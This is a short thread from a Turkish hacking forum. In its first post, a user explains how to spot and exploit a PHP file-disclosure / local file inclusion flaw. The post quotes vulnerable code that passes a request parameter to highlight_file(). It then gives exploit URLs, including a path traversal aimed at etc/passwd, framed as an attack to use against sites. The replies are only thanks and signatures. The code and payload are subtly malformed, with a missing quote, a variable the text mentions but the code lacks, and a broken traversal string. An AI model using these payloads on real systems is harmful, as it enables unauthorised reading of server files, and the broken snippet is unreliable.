Konuyu Oyla:
  • Toplam: 0 Oy - Ortalama: 0
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Scriptte LFİ Tespiti
Asil_Mehmet
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 15
Yaşam Puanı: 54 / 366
Deneyim: 65 / 100
Rep Sayısı: 2
Mesaj Sayısı: 280
Üyelik Tarihi: 23.09.2013
     
Yorum: #1
Scriptte LFİ Tespiti
04.11.2013 00:02
Remote File Disclosure Vulnerability Tesbiti
S.a

Arkadaşlar Php'de "Remote File Disclosure" (Dosya Download,LFI) Açığını Tesbit etmek için

Dosyalarda Şuna Benzer Kodları Arıyoruz.

Kod:
$trlink = $_REQUEST['trlink];

highlight_file($trlink);
Gördüğünüz Gibi burada Trlink ve knock adında Kod Çalıştırmak için Veriable Tanımlanmış.
Eğer Satırın Daha öncesinde Bı Veriable Tanımlanmamışsa. Bundan Şu Şekilde Yararlanılabilir..

Kod:
http://site.com/dosya.php?trlink=Klasor/Dosya.php
Bu açık üzerinden Direkt Local File ınclusion AÇığıda kullanılabilir.
Şu Şekilde;

Kod:
http://site.com/dosya.php?trlink=../../....etc/passwd
Çalıştırdığımızda Komut başarılı bir şekilde Çalışacaktır.

Bir Teşekkür Yeter ;) Devamını getirmeye çalışacağım Smile
Alinti
#H4CK4L
*
avatar
#R00T
Durum: Çevrimiçi
Seviye Puanı: 42
Yaşam Puanı: 1,048 / 1,048
Deneyim: 95 / 100
Rep Sayısı: 1020
Mesaj Sayısı: 2983
Üyelik Tarihi: 04.05.2013
      
Yorum: #2
Cvp: Scriptte LFİ Tespiti
04.11.2013 00:39
Eline sağlık ;)

Çocukken her akşam yatmadan önce Tanrı'ya bana bir bisiklet vermesi için dua ederdim. Bir gün Tanrı'nın çalışma tarzının bu olmadığını anladım. Ertesi gün gittim kendime yeni bir bisiklet çaldım ve her akşam yatmadan önce Tanrı'ya günahlarımı affetmesi için dua ettim.
Alinti
HackLoJeN
*
avatar
Onursal Üye
Durum: Çevrimdışı
Seviye Puanı: 19
Yaşam Puanı: 117 / 471
Deneyim: 85 / 100
Rep Sayısı: 238
Mesaj Sayısı: 459
Üyelik Tarihi: 12.10.2013
      
Yorum: #3
Cvp: Scriptte LFİ Tespiti
04.11.2013 00:59
Güzel olmuş reis eline sağlık Smile

Arşivim Ve Yazılımlarımın Bağlı Olduğu sunucum kapalı olduğundan Bütün Programlarım Kapalıdır Ve Herhangi Bir Güncelleme Gelmicektir.Teşekkür Ederim.
Alinti
Asil_Mehmet
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 15
Yaşam Puanı: 54 / 366
Deneyim: 65 / 100
Rep Sayısı:
Mesaj Sayısı: 280
Üyelik Tarihi: 23.09.2013
     
Yorum: #4
Cvp: Scriptte LFİ Tespiti
05.11.2013 23:19
Teşekkür ederim Smile
Alinti



1 Ziyaretçi
[-]
Sponsor Reklam